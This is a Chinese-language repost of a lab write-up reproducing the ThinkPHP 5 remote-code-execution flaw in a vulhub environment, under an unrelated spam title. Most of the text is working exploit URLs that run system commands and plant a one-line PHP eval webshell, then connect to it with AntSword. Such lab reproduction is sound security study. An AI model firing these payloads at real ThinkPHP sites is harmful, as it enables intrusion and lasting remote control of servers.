您的位置:首页 > 科技 > IT业 > 手机制作软件_哈尔滨网站建设推广服务_百度账号怎么注销_百度渠道开户哪里找

手机制作软件_哈尔滨网站建设推广服务_百度账号怎么注销_百度渠道开户哪里找

2024/12/21 20:30:02 来源:https://blog.csdn.net/shw_yzh/article/details/142462153  浏览:    关键词:手机制作软件_哈尔滨网站建设推广服务_百度账号怎么注销_百度渠道开户哪里找
手机制作软件_哈尔滨网站建设推广服务_百度账号怎么注销_百度渠道开户哪里找

环境配置

云服务器:47.113.231.0:8080
靶场:vulhub/thinkphp/5-rce
docker-compose up -d #启动环境

漏洞复现

1.访问靶场:http://47.113.231.0:8080/

2.远程命令执⾏

POC:
?
s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
[]=whoami

3.远程代码执行

POC:
?
s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[
1][]=-1

4.写入一句话木马到根目录下的shw.php

POC:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST[cmd]);?>" > shw.php

5.蚁剑连接

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com